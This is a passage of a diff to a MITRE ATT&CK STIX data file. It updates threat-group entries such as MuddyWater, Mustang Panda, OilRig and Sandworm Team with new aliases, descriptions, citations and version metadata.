"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021." + }, { "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", "source_name": "FireEye MuddyWater Mar 2018" } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)", + "name": "MuddyWater", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "type": "intrusion-set", "aliases": [ "MuddyWater", + "Earth Vetala ", + "MERCURY", + "Static Kitten", "Seedworm", "TEMP.Zagros" ], - "modified": "2020-07-29T21:27:47.641Z", + "modified": "2021-04-26T22:30:05.308Z", "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "2.3" + "x_mitre_version": "3.0" + }, + { + "id": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "type": "intrusion-set", + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ", + "name": "Mustang Panda", + "external_references": [ + { + "external_id": "G0129", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0129" + }, + { + "source_name": "Mustang Panda", + "description": "(Citation: Crowdstrike MUSTANG PANDA June 2018)" + }, + { + "source_name": "TA416", + "description": "(Citation: Proofpoint TA416 November 2020)" + }, + { + "source_name": "RedDelta", + "description": "(Citation: Recorded Future REDDELTA July 2020)" + }, + { + "source_name": "BRONZE PRESIDENT", + "description": "(Citation: Secureworks BRONZE PRESIDENT December 2019)" + }, + { + "source_name": "Crowdstrike MUSTANG PANDA June 2018", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021." + }, + { + "source_name": "Anomali MUSTANG PANDA October 2019", + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021." + }, + { + "source_name": "Secureworks BRONZE PRESIDENT December 2019", + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021." + }, + { + "source_name": "Proofpoint TA416 November 2020", + "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", + "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021." + }, + { + "source_name": "Recorded Future REDDELTA July 2020", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", + "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Mustang Panda", + "TA416", + "RedDelta", + "BRONZE PRESIDENT" + ], + "modified": "2021-04-25T21:15:45.895Z", + "created": "2021-04-12T15:56:28.861Z", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet" + ], + "x_mitre_version": "1.0" }, { "type": "intrusion-set", @@ -240814,6 +283166,10 @@ "source_name": "OilRig", "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)" }, + { + "source_name": "COBALT GYPSY", + "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)" + }, { "source_name": "IRN2", "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)" @@ -240861,6 +283217,11 @@ "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "source_name": "Unit 42 QUADAGENT July 2018" }, + { + "source_name": "Secureworks COBALT GYPSY Threat Profile", + "url": "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021." + }, { "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/", @@ -240869,17 +283230,54 @@ ], "aliases": [ "OilRig", + "COBALT GYPSY", "IRN2", "HELIX KITTEN", "APT34" ], - "modified": "2020-10-15T23:59:31.684Z", + "modified": "2021-04-26T12:59:49.642Z", "created": "2017-12-14T16:46:06.044Z", "x_mitre_contributors": [ "Robert Falcone", "Bryan Lee" ], - "x_mitre_version": "1.4" + "x_mitre_version": "2.0" + }, + { + "id": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "type": "intrusion-set", + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)", + "name": "Operation Wocao", + "external_references": [ + { + "external_id": "G0116", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0116" + }, + { + "source_name": "Operation Wocao", + "description": "(Citation: FoxIT Wocao December 2019)" + }, + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Operation Wocao" + ], + "modified": "2021-04-20T00:14:14.838Z", + "created": "2020-11-17T20:33:44.273Z", + "x_mitre_contributors": [ + "Erik Schamper, @Schamperr, Fox-IT", + "Maarten van Dantzig, @MaartenVDantzig, Fox-IT" + ], + "x_mitre_version": "1.0" }, { "type": "intrusion-set", @@ -240944,12 +283342,12 @@ "aliases": [ "PLATINUM" ], - "modified": "2020-03-19T23:58:28.015Z", + "modified": "2021-04-22T00:39:49.529Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_contributors": [ "Ryan Becwar" ], - "x_mitre_version": "1.2" + "x_mitre_version": "1.3" }, { "type": "intrusion-set", @@ -241312,22 +283710,11 @@ "x_mitre_version": "1.0" }, { - "created": "2017-05-31T21:32:04.588Z", - "modified": "2020-07-04T01:56:59.493Z", - "aliases": [ - "Sandworm Team", - "ELECTRUM", - "Telebots", - "IRON VIKING", - "BlackEnergy (Group)", - "Quedagh", - "VOODOO BEAR" - ], "type": "intrusion-set", "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Sandworm Team", - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -241339,31 +283726,41 @@ }, { "source_name": "Sandworm Team", - "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)" + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "ELECTRUM", - "description": "(Citation: Dragos ELECTRUM)" + "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "Telebots", - "description": "(Citation: NCSC Sandworm Feb 2020)" + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "IRON VIKING", - "description": "(Citation: Secureworks IRON VIKING )" + "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "BlackEnergy (Group)", - "description": "(Citation: NCSC Sandworm Feb 2020)" + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "Quedagh", - "description": "Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)" + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "VOODOO BEAR", - "description": "(Citation: CrowdStrike VOODOO BEAR)" + "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." + }, + { + "source_name": "UK NCSC Olympic Attacks October 2020", + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020." }, { "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html", @@ -241377,7 +283774,7 @@ }, { "source_name": "USDOJ Sandworm Feb 2020", - "url": "https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/", + "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html", "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020." }, { @@ -241385,6 +283782,11 @@ "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory", "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020." }, + { + "source_name": "US District Court Indictment GRU Oct 2018", + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020." + }, { "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", @@ -241406,7 +283808,18 @@ "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020." } ], - "x_mitre_version": "1.0" + "aliases": [ + "Sandworm Team", + "ELECTRUM", + "Telebots", + "IRON VIKING", + "BlackEnergy (Group)", + "Quedagh", + "VOODOO BEAR" + ], + "modified": "2021-04-13T13:13:09.511Z", + "created": "2017-05-31T21:32:04.588Z", + "x_mitre_version": "2.0" }, { "type": "intrusion-set", @@ -241468,6 +283881,58 @@ "created": "2020-05-14T21:40:31.089Z", "x_mitre_version": "1.0" }, + { + "id": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", + "type": "intrusion-set", + "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)", + "name": "Sidewinder", + "external_references": [ + { + "external_id": "G0121", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0121" + }, + { + "source_name": "T-APT-04", + "description": "(Citation: Cyble Sidewinder September 2020)" + }, + { + "source_name": "Rattlesnake", + "description": "(Citation: Cyble Sidewinder September 2020)" + }, + { + "source_name": "ATT Sidewinder January 2021", + "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021." + }, + { + "source_name": "Securelist APT Trends April 2018", + "url": "https://securelist.com/apt-trends-report-q1-2018/85280/", + "description": "Global Research and Analysis Team . (2018, April 12). APT Trends report Q1 2018. Retrieved January 27, 2021." + }, + { + "source_name": "Cyble Sidewinder September 2020", + "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", + "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Sidewinder", + "T-APT-04", + "Rattlesnake" + ], + "modified": "2021-04-21T12:32:46.791Z", + "created": "2021-01-27T15:57:11.183Z", + "x_mitre_contributors": [ + "Lacework Labs", + "Daniyal Naeem, BT Security" + ], + "x_mitre_version": "1.0" + }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -241483,6 +283948,10 @@ "source_name": "Silence", "description": "(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) " }, + { + "source_name": "WHISPER SPIDER", + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" + }, { "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/", @@ -241492,6 +283961,11 @@ "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", "url": "https://securelist.com/the-silence/83009/", "source_name": "SecureList Silence Nov 2017" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", @@ -241499,15 +283973,79 @@ "type": "intrusion-set", "id": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "aliases": [ - "Silence" + "Silence", + "WHISPER SPIDER" ], - "modified": "2020-06-23T20:30:06.863Z", + "modified": "2021-04-26T14:11:10.724Z", "created": "2019-05-24T17:57:36.491Z", - "x_mitre_version": "1.1", + "x_mitre_version": "2.0", "x_mitre_contributors": [ "Oleg Skulkin, Group-IB" ] }, + { + "created": "2021-02-03T16:36:38.145Z", + "modified": "2021-04-21T12:02:00.278Z", + "aliases": [ + "Silent Librarian", + "TA407", + "COBALT DICKENS" + ], + "id": "intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384", + "type": "intrusion-set", + "name": "Silent Librarian", + "description": "[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)", + "external_references": [ + { + "external_id": "G0122", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0122" + }, + { + "source_name": "TA407", + "description": "(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)" + }, + { + "source_name": "COBALT DICKENS", + "description": "(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)" + }, + { + "source_name": "DOJ Iran Indictments March 2018", + "url": "https://www.justice.gov/usao-sdny/press-release/file/1045781/download", + "description": "DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021." + }, + { + "source_name": "Phish Labs Silent Librarian", + "url": "https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment", + "description": "Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021." + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021." + }, + { + "source_name": "Proofpoint TA407 September 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS August 2018", + "url": "https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities", + "description": "Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021." + }, + { + "source_name": "Secureworks COBALT DICKENS September 2019", + "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", + "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. Retrieved February 3, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -241545,41 +284083,6 @@ "created": "2019-01-29T21:36:59.793Z", "x_mitre_version": "1.1" }, - { - "created": "2019-07-18T20:47:50.050Z", - "modified": "2020-03-30T02:45:28.994Z", - "aliases": [ - "Soft Cell" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "external_id": "G0093", - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/groups/G0093" - }, - { - "source_name": "Soft Cell", - "description": "(Citation: Cybereason Soft Cell June 2019)" - }, - { - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", - "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "source_name": "Cybereason Soft Cell June 2019" - } - ], - "name": "Soft Cell", - "description": "Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019)", - "type": "intrusion-set", - "id": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", - "x_mitre_version": "1.1", - "x_mitre_contributors": [ - "Cybereason Nocturnus, @nocturnus" - ] - }, { "type": "intrusion-set", "id": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", @@ -241643,9 +284146,9 @@ "aliases": [ "Stealth Falcon" ], - "modified": "2020-03-30T19:20:55.380Z", + "modified": "2020-11-23T18:57:19.208Z", "created": "2017-05-31T21:32:06.390Z", - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -241842,9 +284345,64 @@ "TA505", "Hive0065" ], - "modified": "2020-06-23T20:39:02.606Z", + "modified": "2021-02-22T14:34:20.386Z", "created": "2019-05-28T15:54:17.213Z", - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "G0127", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0127" + }, + { + "source_name": "GOLD CABIN", + "description": "(Citation: Secureworks GOLD CABIN)" + }, + { + "source_name": "Shathak", + "description": "(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)" + }, + { + "source_name": "Secureworks GOLD CABIN", + "url": "https://www.secureworks.com/research/threat-profiles/gold-cabin", + "description": "Secureworks. (n.d.). GOLD CABIN Threat Profile. Retrieved March 17, 2021." + }, + { + "source_name": "Unit 42 TA551 Jan 2021", + "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021." + }, + { + "source_name": "Unit 42 Valak July 2020", + "url": "https://unit42.paloaltonetworks.com/valak-evolution/", + "description": "Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020." + } + ], + "description": "[TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)", + "name": "TA551", + "type": "intrusion-set", + "id": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", + "aliases": [ + "TA551", + "GOLD CABIN", + "Shathak" + ], + "modified": "2021-03-25T15:33:58.444Z", + "created": "2021-03-19T21:04:00.692Z", + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Shuhei Sasada, Cyber Defense Institute, Inc", + "Ryo Tamura, SecureBrain Corporation", + "Shotaro Hamamoto, NEC Solution Innovators, Ltd", + "Yusuke Niwa, ITOCHU Corporation", + "Takuma Matsumoto, LAC Co., Ltd" + ] }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -241904,7 +284462,7 @@ "TEMP.Veles", "XENOTIME" ], - "modified": "2020-10-04T23:31:36.937Z", + "modified": "2021-02-09T14:34:04.242Z", "created": "2019-04-16T15:14:38.533Z", "x_mitre_version": "1.2" }, @@ -242006,17 +284564,6 @@ "x_mitre_version": "1.1" }, { - "created": "2017-05-31T21:31:58.518Z", - "modified": "2020-03-30T02:47:04.337Z", - "aliases": [ - "Threat Group-3390", - "TG-3390", - "Emissary Panda", - "BRONZE UNION", - "APT27", - "Iron Tiger", - "LuckyMouse" - ], "type": "intrusion-set", "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -242080,7 +284627,7 @@ "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" }, @@ -242095,7 +284642,18 @@ "source_name": "Unit42 Emissary Panda May 2019" } ], - "x_mitre_version": "1.3" + "aliases": [ + "Threat Group-3390", + "TG-3390", + "Emissary Panda", + "BRONZE UNION", + "APT27", + "Iron Tiger", + "LuckyMouse" + ], + "modified": "2021-04-20T19:17:12.538Z", + "created": "2017-05-31T21:31:58.518Z", + "x_mitre_version": "1.4" }, { "type": "intrusion-set", @@ -242182,22 +284740,26 @@ "Pirate Panda", "KeyBoy" ], - "modified": "2020-05-29T03:23:27.843Z", + "modified": "2021-04-26T14:15:15.610Z", "created": "2019-01-29T20:17:48.717Z", "x_mitre_contributors": [ "Edward Millington", "Bart Parys" ], - "x_mitre_version": "1.3" + "x_mitre_version": "1.4" }, { - "type": "intrusion-set", - "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Turla", - "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)\u2019s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2017-05-31T21:31:49.816Z", + "modified": "2021-04-26T23:50:51.333Z", + "aliases": [ + "Turla", + "Group 88", + "Belugasturgeon", + "Waterbug", + "WhiteBear", + "VENOMOUS BEAR", + "Snake", + "Krypton" ], "external_references": [ { @@ -242209,6 +284771,14 @@ "source_name": "Turla", "description": 